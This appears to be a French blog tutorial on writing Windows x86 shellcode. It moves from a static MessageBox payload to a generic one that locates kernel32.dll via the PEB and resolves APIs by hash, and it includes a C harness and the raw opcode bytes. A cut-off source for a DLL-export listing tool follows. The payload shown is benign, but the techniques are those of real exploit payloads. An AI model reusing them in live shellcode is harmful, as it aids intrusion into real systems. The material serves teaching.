    58
    59
    .386
    .model flat, stdcall

    option casemap:none

    .code

    start:

    xor ebx,ebx ; Le registre ebx n'est jamais modifié.

    ; LoadLibraryA
    jmp getUser32LibString

    getUser32LibStringReturn:
    pop ecx
    mov [ecx+10],bl
    mov eax,76F74BC6h
    push ecx
    call eax

    ; MessageBoxA
    jmp getCaptionString

    getCaptionStringReturn:
    pop ecx
    mov [ecx+9],bl

    jmp getTextString

    getTextStringReturn:
    pop edx
    mov [edx+11],bl
    mov eax,7782FEAEh

    push ebx
    push ecx
    push edx
    push ebx
    call eax

    ; ExitProcess
    mov eax,76F7734Eh
    push ebx
    call eax

    getTextString:
    call getTextStringReturn
    db "hello world#"

    getCaptionString:
    call getCaptionStringReturn
    db "Shellcode#"

    getUser32LibString:
    call getUser32LibStringReturn
    db "user32.dll#"

    end start


     

    Si vous essayez d’exécuter ce shellcode vous n’y arriverez pas, car il faut passer par un programme intermédiaire écrit en C que j’appellerai « shellcodetest.c », qui, chez moi est compilé avec gcc (mingw). Si vous souhaitez le compiler avec Visual Studio, il vous faudra utiliser la fonction VirtualProtect() sur la variable code.

    1
    2
    3
    4
    5
    6
    7
    8
    char code[] = "Placez votre shellcode ici";

    int main(int argc, char **argv)
    {
    int (*func)();
    func = (int (*)()) code;
    (int)(*func)();
    }


     

    Pour obtenir les bytes du shellcode à placer dans le buffer, vous pouvez utiliser l’outil GetShellcode. Après compilation et exécution de shellcodetest nous obtenons :

    Seulement voilà, après un reboot, ce shellcode ne fonctionnera plus car l’adresse des fonctions écrites en dur ici auront changées, il nous faut donc une autre approche. Cette nouvelle approche est souvent appelée « shellcode générique » et c’est ce que nous allons voir maintenant.

     

    Shellcode générique :

    Au lieu d’utiliser un programme externe qui nous donne les adresses des fonctions que nous souhaitons utiliser, et de se contenter d’un copié/colleé de l’adresse dans le code assembleur, il nous faut les trouver directement dans le shellcode. Cette approche nécessite d’abord de connaître l’adresse de base de kernel32.dll.

    Il existe plusieurs techniques pour trouver cette adresse dont une qui utilise la structure du PEB. On trouve le pointeur sur ce PEB à fs:[0x30].
    Une fois dans cette structure à 0x0c, on tombe sur une autre structure nommée PEB_LDR_DATA. Dans cette dernière, à 0x1c, il y a une liste chaînée qui contient les modules chargés en mémoire.

    Cette liste chaînée porte le nom de InitializationOrderModule. Sur windows XP & vista, kernel32.dll est toujours chargée en deuxième position, mais sur seven elle l’est en troisième. Une façon de rendre portable cette technique sur tous les OS de microsoft est de regarder à la fin de chaque nom de module que l’on parcourt (nom que l’on trouve à l’offset 0x20 sur chaque élément de InitializationOrderModule). Le nom de la dll/module doit faire 12 caractères (n’oublions pas que nous sommes en unicode).

    Puis enfin à 0x08 sur chaque élément, on y trouve l’adresse de base du module.

    Voici le code assembleur qui nous permet de trouver l’adresse de kernel32.dll :

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    .386
    .model flat, stdcall

    option casemap:none
    assume fs:nothing

    .code

    start:

    xor ecx, ecx ; ecx = 0
    mov esi, fs:[ecx + 30h] ; esi = &(PEB) (FS:[0x30])
    mov esi, [esi + 0ch] ; esi = PEB->Ldr
    mov esi, [esi + 1ch] ; esi = PEB->Ldr.InInitOrder
    next_module:
    mov eax, [esi + 08h] ; eax = InInitOrder[X].base_address
    mov edi, [esi + 20h] ; edi = InInitOrder[X].module_name (unicode)
    mov esi, [esi] ; esi = InInitOrder[X].flink (module suivant)
    cmp [edi + 12 * 2], cl ; module_name[12] == 0 ?
    jne next_module ; Non : essayons le module suivant.

    end start


     

    Avec ce code, eax contient l’adresse de base de kernel32.dll. Il ne nous reste donc plus qu’à obtenir l’adresse de nos fonctions. On va refaire le même shellcode que dans l’exemple précédent, c’est à dire celui qui était statique.

    On y va en deux fois :
    – On trouve les adresses de LoadLibraryA et de ExitProcess qui se trouvent dans kernel32.dll
    – On trouve l’adresse de MessageBoxA qui se trouve dans user32.dll.

    Pour trouver l’adresse de nos fonctions, nous allons utiliser le PE format et parser les dll afin d’obtenir les adresses dans la table d’exportation. Pour en savoir plus sur le format PE, vous pouvez lire l’article Le format PE. Ce tutoriel ne suffit pas pour la suite car pour un shellcode on ne peut pas lire toutes les en-têtes, utiliser fread, fseek etc… Il nous faut donc connaître à l’avance les offsets de tout ce que l’on a besoin :

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    PIMAGE_DOS_HEADER->e_lfanew = 0x3c

    PIMAGE_NT_HEADERS->OptionalHeader->DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT]->VirtualAddres = 0x78

    PIMAGE_EXPORT_DIRECTORY->NumberOfNames = 0x18

    PIMAGE_EXPORT_DIRECTORY->AddressOfNames = 0x20

    PIMAGE_EXPORT_DIRECTORY->AddressOfNameOrdinals = 0x24

    PIMAGE_EXPORT_DIRECTORY->AddressOfFunctions = 0x1c


     

    Plutôt que de comparer dans le shellcode chaque nom de fonctions listé depuis la table d’exportation d’une dll avec un nom que l’on recherche, nous allons utiliser un système de hash.

    C’est à dire, au départ créer un hash pour chaque nom de fonction que l’on souhaite utiliser, puis dans le shellcode à chaque nom de fonction parcouru on générera ce hash pour le comparer avec celui que l’on recherche. Cette technique permet de diminuer la taille de notre shellcode.

    Ici le code qui permet de générer le hash d’une fonction: GenerateHash.

    Pour ce qui va suivre, il faut faudra un minimum de connaissances en assembleur. Nous savons donc comment trouver l’adresse de kernel32.dll, qu’il faut parcourir la table d’exportation et comment la parcourir pour trouver les adresses de nos fonctions. Quant au nom de fonction, nous savons qu’il faut utiliser un hash pour la comparaison. On a donc tout ce qu’il nous faut pour rendre notre shellcode générique.

    Voici notre shellcode qui affiche la MessageBox mais de façon générique :

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    69
    70
    71
    72
    73
    74
    75
    76
    77
    78
    79
    80
    81
    82
    83
    84
    85
    86
    87
    88
    89
    90
    91
    92
    93
    94
    95
    96
    97
    98
    99
    100
    101
    102
    103
    104
    105
    106
    107
    108
    109
    110
    111
    112
    113
    114
    115
    116
    117
    118
    119
    120
    121
    122
    123
    124
    125
    126
    127
    128
    129
    130
    131
    132
    133
    134
    135
    136
    137
    138
    139
    140
    141
    142
    143
    144
    145
    146
    147
    148
    149
    .386
    .model flat, stdcall

    option casemap:none
    assume fs:nothing

    .code

    start:

    jmp main

    find_kernel32:
    xor ecx, ecx ; ecx = 0
    mov esi, fs:[ecx + 30h] ; esi = &(PEB) (FS:[0x30])
    mov esi, [esi + 0ch] ; esi = PEB->Ldr
    mov esi, [esi + 1ch] ; esi = PEB->Ldr.InInitOrder
    next_module:
    mov eax, [esi + 08h] ; eax = InInitOrder[X].base_address
    mov edi, [esi + 20h] ; edi = InInitOrder[X].module_name (unicode).
    mov esi, [esi] ; esi = InInitOrder[X].flink (module suivant).
    cmp [edi + 12 * 2], cl ; module_name[12] == 0 ?
    jne next_module ; Non : essayons le module suivant.
    ret

    find_func_address:
    pushad
    mov ebp, [esp + 024h] ; 24 = tous les registres push par le pushad (0x20) + l'adresse de base du module empilé avant l'appel de cette routine.
    mov eax, [ebp + 03ch] ; PIMAGE_DOS_HEADER->e_lfanew
    mov edx, [ebp + eax + 078h] ; RVA de PIMAGE_NT_HEADERS->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT]->VirtualAddres
    add edx, ebp ; On y ajoute l'adresse de base de la dll.
    mov ecx, [edx + 018h] ; PIMAGE_EXPORT_DIRECTORY->NumberOfNames
    mov ebx, [edx + 020h] ; RVA de PIMAGE_EXPORT_DIRECTORY->AddressOfNames
    add ebx, ebp ; On y joute l'adresse de base de la dll.

    find_func_address_loop:
    jecxz find_func_address_finished
    dec ecx ; Décrémente ecx.
    mov esi, [ebx + ecx * 4] ; RVA d'un nom de fonction dans esi.
    add esi, ebp ; On y ajoute l'adresse de base de la dll.

    prepare_hash:
    xor edi, edi ; edi = 0
    xor eax, eax ; eax = 0
    cld ; Clear direction flag: pour être sûr que ça incrémente (de gauche à droite) pendant l'utilisation de lodsb.

    hash:
    lodsb ; Charge un byte de esi (qui contient le nom d'une fonction) dans al et incrémente esi.
    test al, al ; On regarde si le byte est à zéro.
    jz hash_finished ; Si oui on a atteint la fin du nom de la fonction.
    ror edi, 0dh ; Rotation de 13 bits vers la droite de la valeur courante (edi contient le hash).
    add edi, eax ; Ajout du caractère au hash.
    jmp hash ; On continue.

    hash_finished:
    compare_hash:
    cmp edi, [esp + 028h] ; 28 = tous les registres push par le pushad (0x20) + l'adresse de base du module empilé avant l'appel de cette routine + le hash à trouver.
    jnz find_func_address_loop ; Ce n'est pas le bon nom de fonction, on va au prochain.
    mov ebx, [edx + 024h] ; RVA de PIMAGE_EXPORT_DIRECTORY->AddressOfNameOrdinals
    add ebx, ebp ; On y ajoute l'adresse de base de la dll.
    mov cx, [ebx + 2 * ecx] ; Ordinal de la fonction courante.
    mov ebx, [edx + 01ch] ; RVA de PIMAGE_EXPORT_DIRECTORY->AddressOfFunctions
    add ebx, ebp ; On y ajoute l'adresse de base de la dll.
    mov eax, [ebx + 4 * ecx] ; RVA de l'adresse de la fonction.
    add eax, ebp ; On y ajoute l'adresse de base de la dll = adresse effective.
    mov [esp + 01ch], eax

    find_func_address_finished:
    popad ; Retrouve la valeur de tous les registres, eax contient l'adresse de la fonction grace au "mov [esp + 01ch], eax".
    ret

    main:
    sub esp, 12 ; On alloue l'espace sur la stack pour contenir l'adresse de LoadLibraryA, ExitProcess et MessageBoxA.
    mov ebp, esp ; ebp devient notre frame pointeur. Ex : call ebp+4 pour call LoadLibraryA.
    ; call ebp+8 pour call ExitProcess.
    ; call ebp+12 pour call MessageBoxA.

    call find_kernel32
    mov edx, eax ; On sauvegarde l'adresse de kernel32.dll dans edx.

    ; On cherche l'adresse de LoadLibraryA :
    push 0ec0e4e8eh ; Le hash.
    push edx ; L'adresse de base de la dll (kernel32.dll).
    call find_func_address
    mov [ebp+4], eax ; ebp = Adresse de LoadLibraryA.

    ; On cherche l'adresse de ExitProcess :
    push 073e2d87eh ; Le hash.
    push edx ; L'adresse de base de la dll (kernel32.dll).
    call find_func_address
    mov [ebp+8], eax ; ebp+4 = Adresse de ExitProcess.

    ; On get la string user32.dll :
    xor ebx, ebx
    jmp get_user32
    get_user32_return:
    pop eax
    mov [eax+10], bl ; On termine la string sans null byte.

    ; On appel LoadLibraryA.
    push eax ; la string user32.dll
    call dword ptr [ebp+4]

    mov edx, eax ; edx contient maintenant l'adresse de base de user32.dll.

    ; On cherche l'adresse de MessageBoxA :
    push 0bc4da2a8h ; Le hash.
    push edx ; L'adresse base de la dll (user32.dll).
    call find_func_address
    mov [ebp+12], eax ; ebp = adresse de MessageBoxA.

    xor ebx,ebx ; Le registre ebx n'est jamais modifié (convention d'appel stdcall).

    ; On get la string pour le titre :
    jmp get_caption
    get_caption_return:
    pop esi
    mov [esi+9], bl

    ; On get la string pour le message :
    jmp get_text
    get_text_return:
    pop edi
    mov [edi+11], bl

    ; On call MessageBoxA :
    push ebx
    push esi
    push edi
    push ebx
    call dword ptr [ebp + 12]

    ; On call ExitProcess :
    push ebx
    call dword ptr [ebp + 8]

    get_user32:
    call get_user32_return
    db "user32.dll#"

    get_caption:
    call get_caption_return
    db "Shellcode#"

    get_text:
    call get_text_return
    db "hello world#"

    end start


     

    N’oubliez pas que pour l’essayer, il faut obtenir les bytes avec par exemple GetShellcode et utiliser shellcodetest.c

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    #include <stdlib.h>
    #include <stdio.h>
    #include <string.h>

    char code[] = "\xEB\x68\x33\xC9\x64\x8B\x71\x30\x8B\x76\x0C\x8B\x76\x1C\x8B\x46\x08\x8B\x7E\x20\x8B\x36\x38\x4F\x18\x75\xF3\xC3\x60\x8B\x6C\x24\x24\x8B\x45\x3C\x8B\x54\x28\x78\x03\xD5\x8B\x4A\x18\x8B\x5A\x20\x03\xDD\xE3\x34\x49\x8B\x34\x8B\x03\xF5\x33\xFF\x33\xC0\xFC\xAC\x84\xC0\x74\x07\xC1\xCF\x0D\x03\xF8\xEB\xF4\x3B\x7C\x24\x28\x75\xE1\x8B\x5A\x24\x03\xDD\x66\x8B\x0C\x4B\x8B\x5A\x1C\x03\xDD\x8B\x04\x8B\x03\xC5\x89\x44\x24\x1C\x61\xC3\x83\xEC\x0C\x8B\xEC\xE8\x8E\xFF\xFF\xFF\x8B\xD0\x68\x8E\x4E\x0E\xEC\x52\xE8\x9B\xFF\xFF\xFF\x89\x45\x04\x68\x7E\xD8\xE2\x73\x52\xE8\x8D\xFF\xFF\xFF\x89\x45\x08\x33\xDB\xEB\x31\x58\x88\x58\x0A\x50\xFF\x55\x04\x8B\xD0\x68\xA8\xA2\x4D\xBC\x52\xE8\x71\xFF\xFF\xFF\x89\x45\x0C\x33\xDB\xEB\x25\x5E\x88\x5E\x09\xEB\x2E\x5F\x88\x5F\x0B\x53\x56\x57\x53\xFF\x55\x0C\x53\xFF\x55\x08\xE8\xCA\xFF\xFF\xFF\x75\x73\x65\x72\x33\x32\x2E\x64\x6C\x6C\x23\xE8\xD6\xFF\xFF\xFF\x53\x68\x65\x6C\x6C\x63\x6F\x64\x65\x23\xE8\xCD\xFF\xFF\xFF\x68\x65\x6C\x6C\x6F\x20\x77\x6F\x72\x6C\x64\x23";

    int main(int argc, char **argv)
    {
    int (*func)();
    func = (int (*)()) code;
    (int)(*func)();
    }


     

    On obtient exactement pareil :

    On a donc d’abord créé un shellcode qui fonctionnera uniquement sur notre pc et sans reboot, pour finir par un qui fonctionnera (normalement) en tout temps et sur n’importe quel windows.

    Publié dans Shellcode | Marqué avec , , , | Laisser un commentaire

    List Exported Functions :

    Je vous présente ici un petit tool avec interface graphique qui liste les fonctions exportées d’une dll (comme par exemple kernel32.dll) avec possibilité d’obtenir l’adresse effective d’une fonction grâce à un menu par un clic droit sur un nom de fonction… Pratique pour les shellcodes static. 🙂

     


     

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    69
    70
    71
    72
    73
    74
    75
    76
    77
    78
    79
    80
    81
    82
    83
    84
    85
    86
    87
    88
    89
    90
    91
    92
    93
    94
    95
    96
    97
    98
    99
    100
    101
    102
    103
    104
    105
    106
    107
    108
    109
    110
    111
    112
    113
    114
    115
    116
    117
    118
    119
    120
    121
    122
    123
    124
    125
    126
    127
    128
    129
    130
    131
    132
    133
    134
    135
    136
    137
    138
    139
    140
    141
    142
    143
    144
    145
    146
    147
    148
    149
    150
    151
    152
    153
    154
    155
    156
    157
    158
    159
    160
    161
    162
    163
    164
    165
    166
    167
    168
    169
    170
    171
    172
    173
    174
    175
    176
    177
    178
    179
    180
    181
    182
    183
    184
    185
    186
    187
    188
    189
    190
    191
    192
    193
    194
    195
    196
    197
    198
    199
    200
    201
    202
    203
    204
    205
    206
    207
    208
    209
    210
    211
    212
    213
    214
    215
    216
    217
    218
    219
    220
    221
    222
    223
    224
    225
    226
    227
    228
    229
    230
    231
    232
    233
    234
    235
    236
    237
    238
    239
    240
    241
    242
    243
    244
    245
    246
    247
    248
    249
    250
    251
    252
    253
    254
    255
    256
    257
    258
    259
    260
    261
    262
    263
    264
    265
    266
    267
    268
    269
    270
    271
    272
    273
    274
    275
    276
    277
    278
    279
    280
    281
    282
    283
    284
    285
    286
    287
    288
    289
    290
    291
    292
    293
    294
    295
    296
    297
    298
    299
    300
    301
    302
    303
    304
    305
    306
    307
    308
    309
    310
    311
    312
    313
    314
    315
    316
    317
    318
    319
    320
    321
    322
    323
    324
    325
    326
    327
    328
    329
    330
    331
    332
    333
    334
    335
    336
    337
    338
    339
    340
    341
    342
    343
    344
    345
    346
    347
    348
    349
    350
    351
    352
    353
    354
    355
    356
    357
    358
    359
    360
    361
    362
    363
    364
    365
    366
    367
    368
    369
    370
    371
    372
    373
    374
    375
    376
    377
    378
    379
    380
    381
    382
    383
    384
    385
    386
    387
    388
    389
    390
    391
    392
    393
    394
    395
    396
    397
    398
    399
    400
    401
    402
    403
    404
    405
    406
    407
    408
    409
    410
    411
    412
    413
    414
    415
    416
    417
    418
    419
    #include <windows.h>
    #include <stdio.h>
    #include <commctrl.h>
    #include <windowsx.h>

    typedef FILE *PFILE;

    #define APPLICATIONNAME "List exported functions\0"
    #define CLASSNAME       "ListExportedFunctions\0"

    #define IDC_FILENAME_EDIT   101
    #define IDC_BUTTON          102
    #define IDC_LISTVIEW        103
    #define IDC_ADDRESS_EDIT    104

    #define IDM_GET_NAME        201
    #define IDM_GET_ADDRESS     202

    HINSTANCE hInst;

    ATOM                MyRegisterClass(HINSTANCE hInstance);
    BOOL                InitInstance(HINSTANCE, int);
    LRESULT CALLBACK    WndProc(HWND, UINT, WPARAM, LPARAM);
    void                ResizeControls(HWND, HWND, HWND, HWND, HWND);
    void                CreateColumn(HWND);
    void                OnButtonClick(HWND, HWND, HWND);
    void                InsertItems(HWND, HWND, LPSTR);
    void                ReadCString(PFILE, LPSTR);
    DWORD               RvaToOffset(PIMAGE_SECTION_HEADER, WORD, DWORD);
    void                OnRightClick(HWND);
    void                OnGetAddressClick(HWND, HWND, HWND, HWND, int);
    void                OnGetNameClick(HWND, HWND, HWND, HWND, int);

    int APIENTRY WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPTSTR lpCmdLine, int nCmdShow)
    {
        MSG msg;
        INITCOMMONCONTROLSEX icex;

        icex.dwSize = sizeof(INITCOMMONCONTROLSEX);
        icex.dwICC  = ICC_LISTVIEW_CLASSES;
        InitCommonControlsEx(&icex);
       
        MyRegisterClass(hInstance);
       
        if(!InitInstance(hInstance, nCmdShow))
        {
            return FALSE;
        }
       
        while(GetMessage(&msg, NULL, 0, 0))
        {
            TranslateMessage(&msg);
            DispatchMessage(&msg);
        }
       
        return (int)msg.wParam;
    }

    ATOM MyRegisterClass(HINSTANCE hInstance)
    {
        WNDCLASSEX wcex;
       
        wcex.cbSize = sizeof(WNDCLASSEX);
       
        wcex.style          = CS_HREDRAW | CS_VREDRAW;
        wcex.lpfnWndProc    = WndProc;
        wcex.cbClsExtra     = 0;
        wcex.cbWndExtra     = 0;
        wcex.hInstance      = hInstance;
        wcex.hIcon          = LoadIcon(NULL, IDI_APPLICATION);
        wcex.hCursor        = LoadCursor(NULL, IDC_ARROW);
        wcex.hbrBackground  = (HBRUSH)(COLOR_WINDOW+1);
        wcex.lpszMenuName   = NULL;
        wcex.lpszClassName  = CLASSNAME;
        wcex.hIconSm        = LoadIcon(NULL, IDI_APPLICATION);
       
        return RegisterClassEx(&wcex);
    }

    BOOL InitInstance(HINSTANCE hInstance, int nCmdShow)
    {
        HWND hWnd;
       
        hInst = hInstance; // Stocke le handle d'instance dans la variable globale.
       
        hWnd = CreateWindow(CLASSNAME, APPLICATIONNAME, WS_OVERLAPPEDWINDOW,
            CW_USEDEFAULT, 0, 900, 600, NULL, NULL, hInstance, NULL);
       
        if(!hWnd)
        {
            return FALSE;
        }
       
        ShowWindow(hWnd, nCmdShow);
        UpdateWindow(hWnd);
       
        return TRUE;
    }

    LRESULT CALLBACK WndProc(HWND hWnd, UINT message, WPARAM wParam, LPARAM lParam)
    {
        int wmId, wmEvent;
        PAINTSTRUCT ps;
        HDC hdc;

        static HWND hwndFilenameEdit;
        static HWND hwndButton;
        static HWND hwndListView;
        static HWND hwndAddressEdit;

        static int iItem;
       
        switch(message)
        {
        case WM_CREATE:
            hwndFilenameEdit = CreateWindow("EDIT", NULL, WS_CHILD | WS_VISIBLE | WS_BORDER | ES_AUTOHSCROLL | ES_READONLY | ES_LEFT,
                 0, 0, 0, 0, hWnd, (HMENU)IDC_FILENAME_EDIT, hInst, NULL);

            hwndButton = CreateWindow("BUTTON", "Load...", WS_VISIBLE | WS_CHILD | BS_DEFPUSHBUTTON,
                 0, 0, 0, 0, hWnd, (HMENU)IDC_BUTTON, hInst, NULL);

            hwndListView = CreateWindow(WC_LISTVIEW, NULL, WS_CHILD | WS_VISIBLE | LVS_LIST,
                 0, 0, 0, 0, hWnd, (HMENU)IDC_LISTVIEW, hInst, NULL);

            hwndAddressEdit = CreateWindow("EDIT", NULL, WS_CHILD | WS_VISIBLE | WS_BORDER | ES_AUTOHSCROLL | ES_READONLY | ES_LEFT,
                0, 0, 0, 0, hWnd, (HMENU)IDC_ADDRESS_EDIT, hInst, NULL);

            CreateColumn(hwndListView);

            ResizeControls(hwndFilenameEdit, hwndButton, hwndListView, hwndAddressEdit, hWnd);
            break;
        case WM_SIZE:
            ResizeControls(hwndFilenameEdit, hwndButton, hwndListView, hwndAddressEdit, hWnd);
            break;
        case WM_COMMAND:
            wmId    = LOWORD(wParam);
            wmEvent = HIWORD(wParam);
            // Analyse les sélections de menu :
            switch(wmId)
            {
            case IDC_BUTTON:
                OnButtonClick(hWnd, hwndFilenameEdit, hwndListView);
                break;
            case IDM_GET_NAME:
                OnGetNameClick(hWnd, hwndFilenameEdit, hwndListView, hwndAddressEdit, iItem);
                break;
            case IDM_GET_ADDRESS:
                OnGetAddressClick(hWnd, hwndFilenameEdit, hwndListView, hwndAddressEdit, iItem);
                break;
            default:
                return DefWindowProc(hWnd, message, wParam, lParam);
            }
            break;
        case WM_NOTIFY:
            switch(((LPNMHDR)lParam)->code)
            {
            case NM_RCLICK:
                LVHITTESTINFO lvhti;
                LPNMITEMACTIVATE lpnmia;

                lpnmia = (LPNMITEMACTIVATE)lParam;
                lvhti.pt = lpnmia->ptAction;

                if(ListView_SubItemHitTest(hwndListView, &lvhti) != -1)
                {
                    iItem = lpnmia->iItem;
                    OnRightClick(hWnd);
                }
                break;
            default:
                return DefWindowProc(hWnd, message, wParam, lParam);
            }
            break;
        case WM_PAINT:
            hdc = BeginPaint(hWnd, &ps);
            // TODO : ajoutez ici le code de dessin...
            EndPaint(hWnd, &ps);
            break;
        case WM_DESTROY:
            PostQuitMessage(0);
            break;
        default:
            return DefWindowProc(hWnd, message, wParam, lParam);
        }
       
        return 0;
    }

    void ResizeControls(HWND hwndFilenameEdit, HWND hwndButton, HWND hwndListView, HWND hwndAddressEdit, HWND hWnd)
    {
        RECT rc;
       
        GetClientRect(hWnd, &rc);
       
        MoveWindow(hwndFilenameEdit, 15, 15, rc.right - rc.left - (15 + 80 + 15 + 15), 25, TRUE);
       
        MoveWindow(hwndButton, rc.right - (15 + 80), 15, 80, 25, TRUE);
       
        MoveWindow(hwndListView, 15, 15 + 25 + 15, rc.right - rc.left - (15 + 15), rc.bottom - rc.top - (15 + 25 + 15 + 25 + 15 + 15), TRUE);

        MoveWindow(hwndAddressEdit, 15, rc.bottom - (15 + 25), rc.right - rc.left - (15 + 15), 25, TRUE);
    }

    void CreateColumn(HWND hwndListView)
    {
        LVCOLUMN lvc;
       
        ListView_InsertColumn(hwndListView, 0, &lvc);
    }

    void OnButtonClick(HWND hWnd, HWND hwndFilenameEdit, HWND hwndListView)
    {
        OPENFILENAME ofn;
        TCHAR szFile[1024];
       
        ZeroMemory(&ofn, sizeof(ofn));
        ofn.lStructSize     = sizeof(ofn);
        ofn.hwndOwner       = hWnd;
        ofn.lpstrFile       = szFile;
        ofn.lpstrFile[0]    = '\0';
        ofn.nMaxFile        = sizeof(szFile);
        ofn.lpstrFilter     = TEXT("Dynamic Link Library\0*.dll\0\0");
        ofn.nFilterIndex    = 1;
        ofn.lpstrFileTitle  = NULL;
        ofn.nMaxFileTitle   = 0;
        ofn.lpstrInitialDir = NULL;
        ofn.Flags           = OFN_PATHMUSTEXIST | OFN_FILEMUSTEXIST;
       
        if(GetOpenFileName(&ofn))
        {
            Edit_SetText(hwndFilenameEdit, ofn.lpstrFile);
            return InsertItems(hWnd, hwndListView, ofn.lpstrFile);
        }
    }

    void InsertItems(HWND hWnd, HWND hwndListView, LPSTR lpstrFile)
    {
        PFILE pfile = NULL;
        char name[1024];
        DWORD namePos = -1;
        DWORD offsetOfEntryExport = -1;
        DWORD offsetOfNames = -1;
        DWORD offsetOfNamePos = -1;
       
        IMAGE_DOS_HEADER        iDosHeader;
        IMAGE_NT_HEADERS        iNtHeaders;
        PIMAGE_SECTION_HEADER   piSectionHeader;
        IMAGE_EXPORT_DIRECTORY  iExportDir;

        LVITEM lvI;
        lvI.mask = LVIF_TEXT;
       
        ListView_DeleteAllItems(hwndListView);

        pfile = fopen(lpstrFile, "rb");

        if(pfile == NULL)
        {
            MessageBox(hWnd, "Impossible d'ouvrir le fichier.", "Erreur", MB_OK | MB_ICONERROR);
            return;
        }

        fread(&iDosHeader, sizeof(IMAGE_DOS_HEADER), 1, pfile);

        if(iDosHeader.e_magic != IMAGE_DOS_SIGNATURE)
        {
            MessageBox(hWnd, "Le fichier n'est pas valide.", "Erreur", MB_OK | MB_ICONERROR);
            return;
        }

        fseek(pfile, iDosHeader.e_lfanew, SEEK_SET);

        fread(&iNtHeaders, sizeof(IMAGE_NT_HEADERS), 1, pfile);

        if(iNtHeaders.Signature != IMAGE_NT_SIGNATURE)
        {
            MessageBox(hWnd, "Le fichier n'est pas valide.", "Erreur", MB_OK | MB_ICONERROR);
            return;
        }

        piSectionHeader = (PIMAGE_SECTION_HEADER)malloc(sizeof(IMAGE_SECTION_HEADER) * iNtHeaders.FileHeader.NumberOfSections);

        for(unsigned i = 0; i < iNtHeaders.FileHeader.NumberOfSections; i++)
        {
            fread(&piSectionHeader[i], sizeof(IMAGE_SECTION_HEADER), 1, pfile);
        }

        offsetOfEntryExport = RvaToOffset(piSectionHeader, iNtHeaders.FileHeader.NumberOfSections, iNtHeaders.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);

        if(offsetOfEntryExport == -1)
        {
            MessageBox(hWnd, "Impossible de trouver la table des fonctions exportées.", "Erreur", MB_OK | MB_ICONERROR);
            return;
        }

        fseek(pfile, offsetOfEntryExport, SEEK_SET);

        fread(&iExportDir, sizeof(IMAGE_EXPORT_DIRECTORY), 1, pfile);

        offsetOfNames = RvaToOffset(piSectionHeader, iNtHeaders.FileHeader.NumberOfSections, iExportDir.AddressOfNames);

        if(offsetOfNames == -1)
        {
            MessageBox(hWnd, "Impossible d'aller à l'adresse des noms.", "Erreur", MB_OK | MB_ICONERROR);
            return;
        }

        for(DWORD i = 0; i < iExportDir.NumberOfNames; i++)
        {
            fseek(pfile, offsetOfNames + i * sizeof(DWORD), SEEK_SET);
            fread(&namePos, sizeof(DWORD), 1, pfile);

            offsetOfNamePos = RvaToOffset(piSectionHeader, iNtHeaders.FileHeader.NumberOfSections, namePos);

            if(offsetOfNamePos == -1)
            {
                MessageBox(hWnd, "Impossible d'aller à l'adresse du nom.", "Erreur", MB_OK | MB_ICONERROR);
                return;
            }

            fseek(pfile, offsetOfNamePos, SEEK_SET);

            ReadCString(pfile, name);

            lvI.iItem = i;
            lvI.iSubItem = 0;
            lvI.pszText = name;
            ListView_InsertItem(hwndListView, &lvI);
        }

        SetFocus(hwndListView);
    }

    DWORD RvaToOffset(PIMAGE_SECTION_HEADER piSectionHeader, WORD numberOfSections, DWORD rva)
    {
        for(WORD i = 0; i < numberOfSections; i++)
        {
            // La RVA est-elle dans cette section?
            if((rva >= piSectionHeader[i].VirtualAddress) && (rva < piSectionHeader[i].VirtualAddress + piSectionHeader[i].SizeOfRawData))
            {
                rva -= piSectionHeader[i].VirtualAddress;
                rva += piSectionHeader[i].PointerToRawData;
               
                return rva;
            }
        }
       
        return -1;
    }

    void ReadCString(PFILE pfile, LPSTR name)
    {
        DWORD n = 0;
       
        do
        {
            fread(name+n, sizeof(char), 1, pfile);
            n++;
        }while(name[n-1] != 0 && n < 1023);
       
        name[n] = 0;
    }

    void OnRightClick(HWND hWnd)
    {
        HMENU hMenu;
        POINT pt;

        hMenu = CreatePopupMenu();

        GetCursorPos(&pt);

        AppendMenu(hMenu, MF_STRING, IDM_GET_NAME, TEXT("Get name"));
        AppendMenu(hMenu, MF_STRING, IDM_GET_ADDRESS, TEXT("Get address"));

        TrackPopupMenu(hMenu, 0, pt.x, pt.y, 0, hWnd, NULL);
    }

    void OnGetAddressClick(HWND hWnd, HWND hwndFilenameEdit, HWND hwndListView, HWND hwndAddressEdit, int iItem)
    {
        CHAR szFile[1024];
        HMODULE hMod;
        DWORD dwAddress;
        CHAR szFunc[1024];
        CHAR szWorkBuff[12];

        Edit_GetText(hwndFilenameEdit, szFile, 1024);
       
        hMod = LoadLibrary(szFile);
       
        if(!hMod)
        {
            MessageBox(hWnd, "Impossible de charger la dll.", "Erreur", MB_OK | MB_ICONERROR);
            return;
        }

        ListView_GetItemText(hwndListView, iItem, 0, szFunc, 1024);

        dwAddress = (DWORD)GetProcAddress(hMod, szFunc);

        if(!dwAddress)
        {
            MessageBox(hWnd, "Impossible d'obtenir l'adresse.", "Erreur", MB_OK | MB_ICONERROR);
            return;
        }

        sprintf(szWorkBuff, "0x%X", dwAddress);

        Edit_SetText(hwndAddressEdit, szWorkBuff);
    }

    void OnGetNameClick(HWND hWnd, HWND hwndFilenameEdit, HWND hwndListView, HWND hwndAddressEdit, int iItem)
    {
        CHAR szFunc[1024];

